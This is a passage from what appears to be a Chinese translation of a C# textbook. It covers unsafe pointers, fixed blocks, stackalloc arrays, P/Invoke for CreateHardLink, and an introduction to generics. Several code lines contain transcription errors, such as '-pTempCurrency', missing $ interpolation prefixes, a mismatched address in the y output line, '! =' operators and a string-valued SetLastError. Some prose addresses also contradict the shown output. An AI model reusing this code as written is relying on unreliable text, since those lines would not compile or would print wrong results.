{ // do something } 如果要在不同的阶段固定几个指针,就可以嵌套整个fixed块: var myObject = new MyClass(); fixed (long* pX = &(myObject.X)) { // do something with pX fixed (float* pF = &(myObject.F)) { // do something else with pF } } 如果这些变量的类型相同,就可以在同一个fixed块中初始化多个变量: var myObject = new MyClass(); var myObject2 = new MyClass(); fixed (long* pX = &(myObject.X), pX2 = &(myObject2.X)) { // etc. } 在上述情况中,是否声明不同的指针,让它们指向相同或不同对象中的字段,或者指 向与类实例无关的静态字段,这一点并不重要。 5.5.2 指针示例:PointerPlayground 为了理解指针,最好编写一个使用指针的程序,再使用调试器。下面给出一个使用指 针的示例:PointerPlayground。它执行一些简单的指针操作,显示结果,还允许查看内存 中发生的情况,并确定变量存储在什么地方(代码文件PointerPlayground/Program.cs): using System; using static System.Console; namespace PointerPlayground { public class Program { unsafe public static void Main() { int x=10; short y = -1; byte y2 = 4; double z = 1.5; int* pX = &x; short* pY = &y; double* pZ = &z; WriteLine($"Address of x is 0x{(ulong)&x:X}, " + $"size is {sizeof(int)}, value is {x}"); WriteLine($"Address of y is 0x{(ulong)&y2:X}, " + $"size is {sizeof(short)}, value is {y}"); WriteLine($"Address of y2 is 0x{(ulong)&y2:X}, " + $"size is {sizeof(byte)}, value is {y2}"); WriteLine($"Address of z is 0x{(ulong)&z:X}, " + $"size is {sizeof(double)}, value is {z}"); WriteLine($"Address of pX=&x is 0x{(ulong)&pX:X}, " + $"size is {sizeof(int*)}, value is 0x{(ulong)pX:X}"); WriteLine($"Address of pY=&y is 0x{(ulong)&pY:X}, " + $"size is {sizeof(short*)}, value is 0x{(ulong)pY:X}"); WriteLine($"Address of pZ=&z is 0x{(ulong)&pZ:X}, " + $"size is {sizeof(double*)}, value is 0x{(ulong)pZ:X}"); *pX = 20; WriteLine($"After setting *pX, x = {x}"); WriteLine($"*pX = {*pX}"); pZ = (double*)pX; WriteLine($"x treated as a double = {*pZ}"); ReadLine(); } } } 这段代码声明了4个值变量: ● int x ● short y ● byte y2 ● double z 它还声明了指向其中3个值的指针:pX、pY和pZ。 然后显示这3个变量的值,以及它们的大小和地址。注意在获取pX、pY和pZ的地址 时,我们查看的是指针的指针,即值的地址的地址!还要注意,与显示地址的常见方式一 致,在WriteLine()命令中使用{0:X}格式说明符,确保该内存地址以十六进制格式显 示。 最后,使用指针pX把x的值改为20,执行一些指针类型强制转换,如果把x的内容当 作double类型,就会得到无意义的结果。 编译并运行这段代码,得到下面的结果: Address of x is 0x376943D5A8, size is 4, value is 10 Address of y is 0x376943D5A0, size is 2, value is -1 Address of y2 is 0x376943D598, size is 1, value is 4 Address of z is 0x376943D590, size is 8, value is 1.5 Address of pX=&x is 0x376943D588, size is 8, value is 0x376943D5A8 Address of pY=&y is 0x376943D580, size is 8, value is 0x376943D5A0 Address of pZ=&z is 0x376943D578, size is 8, value is 0x376943D590 After setting *pX, x = 20 *pX = 20 x treated as a double = 9.88131291682493E-323  注意: 用CoreCLR运行应用程序时,每次运行应用程序都会显示不同的地 址。 检查这些结果,可以证实“后台内存管理”一节描述的栈操作,即栈向下给变量分配内 存。注意,这还证实了栈中的内存块总是按照4个字节的倍数进行分配。例如,y是一个 short数(其大小为2字节),其地址是0xD4E710(十六进制),表示为该变量分配的存储 单元是0xD4E710~0xD4E713。如果.NET运行库严格地逐个排列变量,则y应只占用两个 存储单元,即0xD4E712和0xD4E713。 下一个示例PointerPlayground2介绍指针的算术,以及结构指针和类成员。开始时,定 义一个结构CurrencyStruct,它把货币值表示为美元和美分,再定义一个等价的类 CurrencyClass(代码文件PointerPlayground2/Currency.cs): internal struct CurrencyStruct { public long Dollars; public byte Cents; public override string ToString() => $"$ {Dollars}.{Cents}"; } internal class CurrencyClass { public long Dollars = 0; public byte Cents = 0; public override string ToString() => $"$ {Dollars}.{Cents}"; } 定义好结构和类后,就可以对它们应用指针了。下面的代码是一个新的示例。这段代 码比较长,我们对此将做详细讲解。首先显示CurrencyStruct结构的字节数,创建它的两 个实例和一些指针,然后使用pAmount指针初始化一个CurrencyStruct结构amount1的成 员,显示变量的地址(代码文件PointerPlayground2/Program.cs): unsafe public static void Main() { WriteLine($"Size of CurrencyStruct struct is {sizeof(CurrencyStruct)}"); CurrencyStruct amount1, amount2; CurrencyStruct* pAmount = &amount1; long* pDollars = &(pAmount->Dollars); byte* pCents = &(pAmount->Cents); WriteLine("Address of amount1 is 0x{(ulong)&amount1:X}"); WriteLine("Address of amount2 is 0x{(ulong)&amount2:X}"); WriteLine("Address of pAmount is 0x{(ulong)&pAmount:X}"); WriteLine("Address of pDollars is 0x{(ulong)&pDollars:X}"); WriteLine("Address of pCents is 0x{(ulong)&pCents:X}"); pAmount->Dollars = 20; *pCents = 50; WriteLine($"amount1 contains {amount1}"); 现在根据栈的工作方式,执行一些指针操作。因为变量是按顺序声明的,所以 amount2存储在amount1后面的地址中。sizeof(CurrencyStruct)运算符返回16(见后面的 屏幕输出),所以CurrencyStruct结构占用的字节数是4的倍数。在递减了Currency指针 后,它就指向amount2: --pAmount; // this should get it to point to amount2 WriteLine($"amount2 has address 0x{(ulong)pAmount:X} " + $"and contains {*pAmount}"); 在调用WriteLine()语句时,它显示了amount2的内容,但还没有对它进行初始化。 显示出来的东西就是随机的垃圾——在执行该示例前内存中存储在该单元中的内容。但这 有一个要点:一般情况下,C#编译器会禁止使用未初始化的变量,但在开始使用指针 时,就很容易绕过许多通常的编译检查。此时我们这么做,是因为编译器无法知道我们实 际上要显示的是amount2的内容。因为知道了栈的工作方式,所以可以说出递减pAmount 的结果是什么。使用指针算术,可以访问编译器通常禁止访问的各种变量和存储单元,因 此指针算术是不安全的。 接下来在pCents指针上进行指针运算。pCents指针目前指向amount1.Cents,但此处的 目的是使用指针算术让它指向amount2.Cents,而不是直接告诉编译器我们要做什么。为 此,需要从pCents指针所包含的地址中减去sizeof(Currency): // do some clever casting to get pCents to point to cents // inside amount2 CurrencyStruct* pTempCurrency = (CurrencyStruct*)pCents; pCents = (byte*) ( -pTempCurrency ); WriteLine("Address of pCents is now 0x{0:X}", (ulong)&pCents); 最后,使用fixed关键字创建一些指向类实例中字段的指针,使用这些指针设置这个 实例的值。注意,这也是我们第一次查看存储在堆中(而不是栈)的项的地址: WriteLine("\nNow with classes"); // now try it out with classes var amount3 = new CurrencyClass(); fixed(long* pDollars2 = &(amount3.Dollars)) fixed(byte* pCents2 = &(amount3.Cents)) { WriteLine($"amount3.Dollars has address 0x{(ulong)pDollars2:X}"); WriteLine($"amount3.Cents has address 0x{(ulong)pCents2:X}"); *pDollars2 = -100; WriteLine($"amount3 contains {amount3}"); } 编译并运行这段代码,得到如下所示的结果: Size of CurrencyStruct struct is 16 Address of amount1 is 0xD290DCD7C0 Address of amount2 is 0xD290DCD7B0 Address of pAmount is 0xD290DCD7A8 Address of pDollars is 0xD290DCD7A0 Address of pCents is 0xD290DCD798 amount1 contains $ 20.50 amount2 has address 0xD290DCD7B0 and contains $ 0.0 Address of pCents is now 0xD290DCD798 Now with classes amount3.Dollars has address 0xD292C91A70 amount3.Cents has address 0xD292C91A78 amount3 contains $ -100.0 注意,在这个结果中,显示了未初始化的amount2的值,CurrencyStruct结构的字节数 是16,大于其字段的字节数(一个long数占用8个字节,加上1个字节等于9个字节)。 5.5.3 使用指针优化性能 前面用许多篇幅介绍了使用指针可以完成的各种任务,但在前面的示例中,仅是处理 内存,让有兴趣的人们了解实际上发生了什么事,并没有帮助人们编写出更好的代码!本 节将应用我们对指针的理解,用一个示例来说明使用指针可以大大提高性能。 1.创建基于栈的数组 本节将探讨指针的一个主要应用领域:在栈中创建高性能、低系统开销的数组。第2 章介绍了C#如何支持数组的处理。第7章详细介绍了数组。C#很容易使用一维数组和矩形 或锯齿形多维数组,但有一个缺点:这些数组实际上都是对象,它们是System.Array的实 例。因此数组存储在堆上,这会增加系统开销。有时,我们希望创建一个使用时间比较短 的高性能数组,不希望有引用对象的系统开销。而使用指针就可以做到,但指针只对于一 维数组比较简单。 为了创建一个高性能的数组,需要使用另一个关键字:stackalloc。stackalloc命令指 示.NET运行库在栈上分配一定量的内存。在调用stackalloc命令时,需要为它提供两条信 息: ● 要存储的数据类型 ● 需要存储的数据项数 例如,要分配足够的内存,以存储10个decimal数据项,可以编写下面的代码: decimal* pDecimals = stackalloc decimal[10]; 注意,这条命令只分配栈内存。它不会试图把内存初始化为任何默认值,这正好符合 我们的目的。因为要创建一个高性能的数组,给它不必要地初始化相应值会降低性能。 同样,要存储20个double数据项,可以编写下面的代码: double* pDoubles = stackalloc double[20]; 图5-7 虽然这行代码指定把变量的个数存储为一个常数,但它等于在运行时计算的一个数 字。所以可以把上面的示例写为: int size; size = 20; // or some other value calculated at runtime double* pDoubles = stackalloc double[size]; 从这些代码段中可以看出,stackalloc的 语法有点不寻常。它的后面紧跟要存储的数 据类型名(该数据类型必须是一个值类 型),之后把需要的项数放在方括号中。分 配的字节数是项数乘以sizeof(数据类型)。 在这里,使用方括号表示这是一个数组。如 果给20个double数分配存储单元,就得到了 一个有20个元素的double数组,最简单的数 组类型是逐个存储元素的内存块,如图5-7所 示。 在图5-7中,显示了stackalloc返回的指 针,stackalloc总是返回分配数据类型的指针,它指向新分配内存块的顶部。要使用这个内 存块,可以取消对已返回指针的引用。例如,给20个double数分配内存后,把第一个元素 (数组的元素0)设置为3.0,可以编写下面的代码: double* pDoubles = stackalloc double[20]; *pDoubles = 3.0; 要访问数组的下一个元素,可以使用指针算术。如前所述,如果给一个指针加1,它 的值就会增加它指向的数据类型的字节数。在本例中,就会把指针指向已分配的内存块中 的下一个空闲存储单元。因此可以把数组的第二个元素(元素编号为1)设置为8.4: double* pDoubles = stackalloc double[20]; *pDoubles = 3.0; *(pDoubles + 1) = 8.4; 同样,可以用表达式*(pDoubles+X)访问数组中下标为X的元素。 这样,就得到一种访问数组中元素的方式,但对于一般目的,使用这种语法过于复 杂。C#为此定义了另一种语法。对指针应用方括号时,C#为方括号提供了一种非常精确 的含义。如果变量p是任意指针类型,X是一个整数,表达式p[X]就被编译器解释为 *(p+X),这适用于所有的指针,不仅仅是用stackalloc初始化的指针。利用这个简洁的 表示法,就可以用一种非常方便的语法访问数组。实际上,访问基于栈的一维数组所使用 的语法与访问由System.Array类表示的基于堆的数组完全相同: double* pDoubles = stackalloc double [20]; pDoubles[0] = 3.0; // pDoubles[0] is the same as *pDoubles pDoubles[1] = 8.4; // pDoubles[1] is the same as *(pDoubles+1)  注意: 把数组的语法应用于指针并不是新东西。自从开发出C和C++语言以 来,它就是这两种语言的基础部分。实际上,C++开发人员会把这里用stackalloc获得 的、基于栈的数组完全等同于传统的基于栈的C和C++数组。这种语法和指针与数组的 链接方式是C语言在20世纪70年代后期流行起来的原因之一,也是指针的使用成为C和 C++中一种流行的编程技巧的主要原因。 尽管高性能的数组可以用与一般C#数组相同的方式访问,但需要注意:在C#中,下 面的代码会抛出一个异常: double[] myDoubleArray = new double [20]; myDoubleArray[50] = 3.0; 抛出异常的原因是:使用越界的下标来访问数组:下标是50,而允许的最大下标是 19。但是,如果使用stackalloc声明了一个等价的数组,对数组进行边界检查时,这个数组 中就没有封装任何对象,因此下面的代码不会抛出异常: double* pDoubles = stackalloc double [20]; pDoubles[50] = 3.0; 在这段代码中,我们分配了足够的内存来存储20个double类型的数。接着把 sizeof(double)存储单元的起始位置设置为该存储单元的起始位置加上 50*sizeof(double)个存储单元,来保存双精度值3.0。但这个存储单元超出了刚才为 double数分配的内存区域。谁也不知道这个地址存储了什么数据。最好是只使用某个当前 未使用的内存,但所重写的存储单元也有可能是在栈上用于存储其他变量,或者是某个正 在执行的方法的返回地址。因此,使用指针获得高性能的同时,也会付出一些代价:需要 确保自己知道在做什么,否则就会抛出非常古怪的运行错误。 2. QuickArray示例 下面用一个stackalloc示例QuickArray来结束关于指针的讨论。在这个示例中,程序仅 要求用户提供为数组分配的元素数。然后代码使用stackalloc给long型数组分配一定的存储 单元。这个数组的元素是从0开始的整数的平方,结果显示在控制台上(代码文件 QuickArray/Program.cs): using static System.Console; namespace QuickArray { public class Program { unsafe public static void Main() { Write("How big an array do you want? \n> "); string userInput = ReadLine(); uint size = uint.Parse(userInput); long* pArray = stackalloc long[(int) size]; for (int i = 0; i < size; i++) { pArray[i] = i*i; } for (int i = 0; i < size; i++) { WriteLine($"Element {i} = {*(pArray + i)}"); } ReadLine(); } } } 运行这个示例,得到如下所示的结果: How big an array do you want? > 15 Element 0 = 0 Element 1 = 1 Element 2 = 4 Element 3 = 9 Element 4 = 16 Element 5 = 25 Element 6 = 36 Element 7 = 49 Element 8 = 64 Element 9 = 81 Element 10 = 100 Element 11 = 121 Element 12 = 144 Element 13 = 169 Element 14 = 196 _ 5.6 平台调用 并不是Windows API调用的所有特性都可用于.NET Framework。旧的Windows API调 用是这样,Windows 10或Windows Server 2016中的新功能也是这样。也许开发人员会编 写一些DLL,导出非托管的方法,在C#中使用它们。 要重用一个非托管库,其中不包含COM对象,只包含导出的功能,就可以使用平台 调用(P /Invoke)。有了P / Invoke, CLR会加载DLL,其中包含应调用的函数,并编组参 数。 要使用非托管函数,首先必须确定导出的函数名。为此,可以使用dumpbin工具 和/exports选项。例如,命令: dumpbin /exports c:\windows\system32\kernel32.dll | more 列出DLL kernel32.dll中所有导出的函数。这个示例使用Windows API函数CreateHardLink 来创建到现有文件的硬链接。使用此API调用,可以用几个文件名引用相同的文件,只要 文件名在一个硬盘上即可。这个API调用不能用于.NET Framework 4.5.1,因此必须使用平 台调用。 为了调用本机函数,必须定义一个参数数量相同的C#外部方法,用非托管方法定义 的参数类型必须用托管代码映射类型。 在C++中,Windows API调用CreateHardLink有如下定义: BOOL CreateHardLink( LPCTSTR lpFileName, LPCTSTR lpExistingFileName, LPSECURITY_ATTRIBUTES lpSecurityAttributes); 这个定义必须映射到.NET数据类型上。非托管代码的返回类型是BOOL;它仅映射到 bool数据类型。LPCTSTR定义了一个指向const字符串的long指针。Windows API给数据类 型使用Hungarian命名约定。LP是一个long指针,C是一个常量,STR是以null结尾的字符 串。T把类型标志为泛型类型,根据编译器设置为32还是64位,该类型解析为 LPCSTR(ANSI字符串)或LPWSTR(宽Unicode字符串)。C字符串映射到.NET类型为 String。LPSECURITY_ATTRIBUTES是一个long指针,指向SECURITY_ATTRIBUTES类 型的结构。因为可以把NULL传递给这个参数,所以把这种类型映射到IntPtr是可行的。该 方法的C#声明必须用extern修饰符标记,因为在C#代码中,这个方法没有实现代码。相 反,该方法的实现代码在DLL kernel32.dll中,它用属性[DllImport]引用。.NET声明 CreateHardLink的返回类型是bool,本机方法CreateHardLink返回一个布尔值,所以需要一 些额外的澄清。因为C++有不同的Boolean数据类型(例如,本机bool和Windows定义的 BOOL有不同的值),所以特性[MarshalAs]指定.NET类型bool应该映射为哪个本机类型: [DllImport("kernel32.dll", SetLastError="true", EntryPoint="CreateHardLink", CharSet=CharSet.Unicode)] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool CreateHardLink(string newFileName, string existingFilename, IntPtr securityAttributes);  注意: 网站http://www.pinvoke.net非常有助于从本机代码到托管代码的转 换。 可以用[DllImport]特性指定的设置在表5-2中列出。 表5-2 DLLIMPORT属性或字 段 说明 EntryPoint 可以给函数的C#声明指定与非托管库不同的名称。非托管 库中方法的名称在EntryPoint字段中定义 CallingConvention 根据编译器或用来编译非托管函数的编译器设置,可以使用 不同的调用约定。调用约定定义了如何处理参数,把它们放 在堆栈的什么地方。可以设置一个可枚举的值,来定义调用 约定。Windows API在Windows操作系统上通常使用StdCall 调用约定,在Windows CE上使用Cdecl调用约定。把值设置 为CallingConvention.Winapi,可让Windows API用于 Windows和Windows CE环境 CharSet 字符串参数可以是ANSI或Unicode。通过CharSet设置,可以 定义字符串的管理方式。用CharSet枚举定义的值有Ansi、 Unicode和Auto.CharSet。Auto在Windows NT平台上使用 Unicode,在微软的旧操作系统上使用ANSI SetLastError 如果非托管函数使用Windows API SetLastError设置一个错 误,就可以把SetLastError字段设置为true。这样,就可以使 用Marshal. GetLastWin32Error读取后面的错误号 为了使CreateHardLink方法更易于在.NET环境中使用,应该遵循如下规则: ● 创建一个内部类NativeMethods,来包装平台调用的方法调用。 ● 创建一个公共类,给.NET应用程序提供本机方法的功能。 ● 使用安全特性来标记所需的安全。 在接下来的例子中,类FileUtility中的公共方法CreateHardLink可以由.NET应用程序使 用。这个方法的文件名参数,与本机Windows API方法CreateHardLink的顺序相反。第一 个参数是现有文件的名称,第二个参数是新的文件。这类似于框架中的其他类,如 File.Copy。 因为第三个参数用来传递新文件名的安全特性,此实现代码不使用它,所以公共方法 只有两个参数。返回类型也改变了。它不通过返回false值来返回一个错误,而是抛出一个 异常。如果出错,非托管方法CreateHardLink就用非托管API SetLastError设置错误号。要 从.NET中读取这个值,[DllImport]字段SetLastError设置为true。在托管方法 CreateHardLink中,错误号是通过调用Marshal.GetLastWin32Error读取的。要从这个号中 创建一个错误消息,应使用System.ComponentModel名称空间中的Win32Exception类。这 个类通过构造函数接受错误号,并返回一个本地化的错误消息。如果出错,就抛出 IOException类型的异常,它有一个类型Win32Exception的内部异常。应用公共方法 CreateHardLink的FileIOPermission特性,检查调用程序是否拥有必要的许可。.NET安全性 详见第24章(代码文件PInvokeSample / NativeMethods.cs)。 using System; using System.ComponentModel; using System.IO; using System.Runtime.InteropServices; using System.Security; using System.Security.Permissions; namespace Wrox.ProCSharp.Interop { [SecurityCritical] internal static class NativeMethods { [DllImport("kernel32.dll", SetLastError = true, EntryPoint = "CreateHardLinkW", CharSet = CharSet.Unicode)] [return: MarshalAs(UnmanagedType.Bool)] private static extern bool CreateHardLink( [In, MarshalAs(UnmanagedType.LPWStr)] string newFileName, [In, MarshalAs(UnmanagedType.LPWStr)] string existingFileName, IntPtr securityAttributes); internal static void CreateHardLink(string oldFileName, string newFileName) { if (! CreateHardLink(newFileName, oldFileName, IntPtr.Zero)) { var ex = new Win32Exception(Marshal.GetLastWin32Error()); throw new IOException(ex.Message, ex); } } } public static class FileUtility { [FileIOPermission(SecurityAction.LinkDemand, Unrestricted = true)] public static void CreateHardLink(string oldFileName, string newFileName) { NativeMethods.CreateHardLink(oldFileName, newFileName); } } } 现在可以使用这个类来轻松地创建硬链接。如果程序的第一个参数传递的文件不存 在,就会得到一个异常,提示“系统无法找到指定的文件”。如果文件存在,就得到一个引 用原始文件的新文件名。很容易验证它:在一个文件中改变文本,它就会出现在另一个文 件中(代码文件PInvokeSample/ Program.cs): using PInvokeSampleLib; using System.IO; using static System.Console; namespace PInvokeSample { public class Program { public static void Main(string[] args) { if (args.Length ! = 2) { WriteLine("usage: PInvokeSample " + "existingfilename newfilename"); return; } try { FileUtility.CreateHardLink(args[0], args[1]); } catch (IOException ex) { WriteLine(ex.Message); } } } } 调用本地方法时,通常必须使用Windows句柄。Windows句柄是一个32位或64位值, 根据句柄类型,不允许使用一些值。在.NET 1.0中,句柄通常使用IntPtr结构,因为可以用 这种结构设置每一个可能的32位值。然而,对于一些句柄类型,这会导致安全问题,可能 还会出现线程竞态条件,在终结阶段泄露句柄。所以.NET 2.0引入了SafeHandle类。 SafeHandle类是一个抽象的基类,用于每个Windows句柄。Microsoft.Win32.SafeHandles名 称空间里的派生类是SafeHandleZeroOrMinus-OneIsInvalid和 SafeHandleMinusOneIsInvalid。顾名思义,这些类不接受无效的0或1值。进一步派生的句 柄类型是SafeFileHandle、SafeWaitHandle、SafeNCryptHandle和SafePipeHandle,可以供特 定的Windows API调用使用。 例如,为了映射Windows API CreateFile,可以使用以下声明,返回一个 SafeFileHandle。当然,通常可以使用.NET类File和FileInfo。 [DllImport("Kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] internal static extern SafeFileHandle CreateFile( string fileName, [MarshalAs(UnmanagedType.U4)] FileAccess fileAccess, [MarshalAs(UnmanagedType.U4)] FileShare fileShare, IntPtr securityAttributes, [MarshalAs(UnmanagedType.U4)] FileMode creationDisposition, int flags, SafeFileHandle template); 5.7 小结 要想成为真正优秀的C#程序员,必须牢固掌握存储单元和垃圾回收的工作原理。本 章描述了CLR管理以及在堆和栈上分配内存的方式,讨论了如何编写正确地释放非托管资 源的类,并介绍如何在C#中使用指针,这些都是很难理解的高级主题,初学者常常不能 正确实现。至少本章有助于理解如何使用IDisposable接口和using语句释放资源。 第6章继续讨论C#语言的一个重要结构:泛型,它也影响IL代码的生成。 第6章 泛型 本章要点 ● 泛型概述 ● 创建泛型类 ● 泛型类的特性 ● 泛型接口 ● 泛型结构 ● 泛型方法 本章源代码下载地址(wrox.com): 打开网页http://www.wrox.com/go/professionalcsharp6,单击Download Code选项卡即可 下载本章源代码。本章代码分为以下几个主要的示例文件: ● 链表对象 ● 链表示例 ● 文档管理器 ● 协变和抗变 ● 泛型方法 ● 专用 6.1 泛型概述 泛型是C#和.NET的一个重要概念。泛型不仅是C#编程语言的一部分,而且与程序集 中的IL(Intermediate Language,中间语言)代码紧密地集成。有了泛型,就可以创建独 立于被包含类型的类和方法。我们不必给不同的类型编写功能相同的许多方法或类,只创 建一个方法或类即可。 另一个减少代码的选项是使用Object类,但使用派生自Object类的类型进行传递不是 类型安全的。泛型类使用泛型类型,并可以根据需要用特定的类型替换泛型类型。这就保 证了类型安全性:如果某个类型不支持泛型类,编译器就会出现错误。 泛型不仅限于类,本章还将介绍用于接口和方法的泛型。用于委托的泛型参见第9 章。 泛型不仅存在于C#中,其他语言中有类似的概念。例如,C++模板就与泛型相似。但 是,C++模板和.NET泛型之间有一个很大的区别。对于C++模板,在用特定的类型实例化 模板时,需要模板的源代码。相反,泛型不仅是C#语言的一种结构,而且是 CLR(Common Language Runtime)定义的。所以,即使泛型类是在C#中定义的,也可以 在Visual Basic中用一个特定的类型实例化该泛型。 下面几节介绍泛型的优点和缺点,尤其是: ● 性能 ● 类型安全性 ● 二进制代码重用 ● 代码的扩展 ● 命名约定 6.1.1 性能 泛型的一个主要优点是性能。第11章介绍了System.Collections和 System.Collections.Generic名称空间的泛型和非泛型集合类。对值类型使用非泛型集合 类,在把值类型转换为引用类型,和把引用类型转换为值类型时,需要进行装箱和拆箱操 作。  注意: 装箱和拆箱详见第8章,这里仅简要复习一下这些术语。 值类型存储在栈上,引用类型存储在堆上。C#类是引用类型,结构是值类型。.NET 很容易把值类型转换为引用类型,所以可以在需要对象(对象是引用类型)的任意地方使 用值类型。例如,int可以赋予一个对象。从值类型转换为引用类型称为装箱。如果方法 需要把一个对象作为参数,同时传递一个值类型,装箱操作就会自动进行。另一方面,装 箱的值类型可以使用拆箱操作转换为值类型。在拆箱时,需要使用类型强制转换运算符。 下面的例子显示了System.Collections名称空间中的ArrayList类。ArrayList存储对象, Add()方法定义为需要把一个对象作为参数,所以要装箱一个整数类型。在读取 ArrayList中的值时,要进行拆箱,把对象转换为整数类型。可以使用类型强制转换运算符 把ArrayList集合的第一个元素赋予变量i1,在访问int类型的变量i2的foreach语句中,也要 使用类型强制转换运算符: var list = new ArrayList(); list.Add(44); // boxing - convert a value type to a reference type int i1 = (int)list[0]; // unboxing - convert a reference type to // a value type foreach (int i2 in list) { WriteLine(i2); // unboxing } 装箱和拆箱操作很容易使用,但性能损失比较大,遍历许多项时尤其如此。 System.Collections.Generic名称空间中的List<T>类不使用对象,而是在使用时定义类 型。在下面的例子中,List<T>类的泛型类型定义为int,所以int类型在JIT(Just-In-Time) 编译器动态生成的类中使用,不再进行装箱和拆箱操作: var list = new List<int>(); list.Add(44); // no boxing - value types are stored in the List<int> int i1 = list[0]; // no unboxing, no cast needed foreach (int i2 in list) { WriteLine(i2); } 6.1.2 类型安全 泛型的另一个特性是类型安全。与ArrayList类一样,如果使用对象,就可以在这个集 合中添加任意类型。下面的例子在ArrayList类型的集合中添加一个整数、一个字符串和一 个MyClass类型的对象: var list = new ArrayList(); list.Add(44); list.Add("mystring"); list.Add(new MyClass()); 如果这个集合使用下面的foreach语句迭代,而该foreach语句使用整数元素来迭代,编 译器就会接受这段代码。但并不是集合中的所有元素都可以强制转换为int,所以会出现 一个运行时异常: foreach (int i in list) { WriteLine(i); } 错误应尽早发现。在泛型类List<T>中,泛型类型T定义了允许使用的类型。有了 List<int>的定义,就只能把整数类型添加到集合中。编译器不会编译这段代码,因为 Add()方法的参数无效: var list = new List<int>(); list.Add(44); list.Add("mystring"); // compile time error list.Add(new MyClass()); // compile time error 6.1.3 二进制代码的重用 泛型允许更好地重用二进制代码。泛型类可以定义一次,并且可以用许多不同的类型 实例化。不需要像C++模板那样访问源代码。 例如,System.Collections.Generic名称空间中的List<T>类用一个int、一个字符串和一 个MyClass类型实例化: var list = new List<int>(); list.Add(44); var stringList = new List<string>(); stringList.Add("mystring"); var myClassList = new List<MyClass>(); myClassList.Add(new MyClass()); 泛型类型可以在一种语言中定义,在任何其他.NET语言中使用。 6.1.4 代码的扩展 在用不同的特定类型实例化泛型时,会创建多少代码?因为泛型类的定义会放在程序 集中,所以用特定类型实例化泛型类不会在IL代码中复制这些类。但是,在JIT编译器把 泛型类编译为本地代码时,会给每个值类型创建一个新类。引用类型共享同一个本地类的 所有相同的实现代码。这是因为引用类型在实例化的泛型类中只需要4个字节的内存地址 (32位系统),就可以引用一个引用类型。值类型包含在实例化的泛型类的内存中,同时 因为每个值类型对内存的要求都不同,所以要为每个值类型实例化一个新类。 6.1.5 命名约定 如果在程序中使用泛型,在区分泛型类型和非泛型类型时就会有一定的帮助。下面是 泛型类型的命名规则: ● 泛型类型的名称用字母T作为前缀。 ● 如果没有特殊的要求,泛型类型允许用任意类替代,且只使用了一个泛型类型,就 可以用字符T作为泛型类型的名称。 public class List<T> { } public class LinkedList<T> { } ● 如果泛型类型有特定的要求(例如,它必须实现一个接口或派生自基类),或者使 用了两个或多个泛型类型,就应给泛型类型使用描述性的名称: public delegate void EventHandler<TEventArgs>(object sender, TEventArgs e); public delegate TOutput Converter<TInput, TOutput>(TInput from); public class SortedList<TKey, TValue> { } 6.2 创建泛型类 首先介绍一个一般的、非泛型的简化链表类,它可以包含任意类型的对象,以后再把 这个类转化为泛型类。 在链表中,一个元素引用下一个元素。所以必须创建一个类,它将对象封装在链表 中,并引用下一个对象。类LinkedListNode包含一个属性Value,该属性用构造函数初始 化。另外,LinkedListNode类包含对链表中下一个元素和上一个元素的引用,这些元素都 可以从属性中访问(代码文件Linked-ListObjects/LinkedListNode.cs)。 public class LinkedListNode { public LinkedListNode(object value) { Value = value; } public object Value { get; private set; } public LinkedListNode Next { get; internal set; } public LinkedListNode Prev { get; internal set; } } LinkedList类包含LinkedListNode类型的First和Last属性,它们分别标记了链表的头 尾。AddLast()方法在链表尾添加一个新元素。首先创建一个LinkedListNode类型的对 象。如果链表是空的,First和Last属性就设置为该新元素;否则,就把新元素添加为链表 中的最后一个元素。通过实现GetEnumerator()方法,可以用foreach语句遍历链表。 GetEnumerator()方法使用yield语句创建一个枚举器类型。 public class LinkedList: IEnumerable { public LinkedListNode First { get; private set; } public LinkedListNode Last { get; private set; } public LinkedListNode AddLast(object node) { var newNode = new LinkedListNode(node); if (First == null) { First = newNode; Last = First; } else { LinkedListNode previous = Last; Last.Next = newNode; Last = newNode; Last.Prev = previous; } return newNode; } public IEnumerator GetEnumerator() { LinkedListNode current = First; while (current ! = null) { yield return current.Value; current = current.Next; } } }  注意: yield语句创建一个枚举器的状态机,详细介绍请参见第7章。 现在可以对于任意类型使用LinkedList类了。在下面的代码段中,实例化了一个新 LinkedList对象,添加了两个整数类型和一个字符串类型。整数类型要转换为一个对象, 所以执行装箱操作,如前面所述。通过foreach语句执行拆箱操作。在foreach语句中,链表 中的元素被强制转换为整数,所以对于链表中的第3个元素,会发生一个运行时异常,因 为把它强制转换为int时会失败(代码文件LinkedLisObjects/Program.cs)。 var list1 = new LinkedList(); list1.AddLast(2); list1.AddLast(4); list1.AddLast("6"); foreach (int i in list1) { WriteLine(i); } 下面创建链表的泛型版本。泛型类的定义与一般类类似,只是要使用泛型类型声明。 之后,泛型类型就可以在类中用作一个字段成员,或者方法的参数类型。LinkedListNode 类用一个泛型类型T声明。属性Value的类型是T,而不是object。构造函数也变为可以接 受T类型的对象。也可以返回和设置泛型类型,所以属性Next和Prev的类型是 LinkedListNode<T>(代码文件LinkedListSample/LinkedListNode.cs)。 public class LinkedListNode<T> { public LinkedListNode(T value) { Value = value; } public T Value { get; private set; } public LinkedListNode<T> Next { get; internal set; } public LinkedListNode<T> Prev { get; internal set; } } 下面的代码把LinkedList类也改为泛型类。LinkedList<T>包含LinkedListNode<T>元 素。LinkedList中的类型T定义了类型T的属性First和Last。AddLast()方法现在接受类型 T的参数,并实例化LinkedListNode<T>类型的对象。 除了IEnumerable接口,还有一个泛型版本IEnumerable<T>。IEnumerable<T>派生自 IEnumerable,添加了返回IEnumerator<T>的GetEnumerator()方法,LinkedList<T>实现 泛型接口IEnumerable<T>(代码文件LinkedListSample/LinkedList.cs)。  注意: 枚举与接口IEnumerable和IEnumerator详见第7章。 public class LinkedList<T>: IEnumerable<T> { public LinkedListNode<T> First { get; private set; } public LinkedListNode<T> Last { get; private set; } public LinkedListNode<T> AddLast(T node) { var newNode = new LinkedListNode<T>(node); if (First == null) { First = newNode; Last = First; } else { LinkedListNode<T> previous = Last; Last.Next = newNode; Last = newNode; Last.Prev = previous; } return newNode; } public IEnumerator<T> GetEnumerator() { LinkedListNode<T> current = First; while (current ! = null) { yield return current.Value; current = current.Next; } } IEnumerator IEnumerable.GetEnumerator() => GetEnumerator(); } 使用泛型LinkedList<T>,可以用int类型实例化它,且无需装箱操作。如果不使用 AddLast()方法传递int,就会出现一个编译器错误。使用泛型IEnumerable<T>, foreach语 句也是类型安全的,如果foreach语句中的变量不是int,就会出现一个编译器错误(代码 文件LinkedListSample/Program.cs)。 var list2 = new LinkedList<int>(); 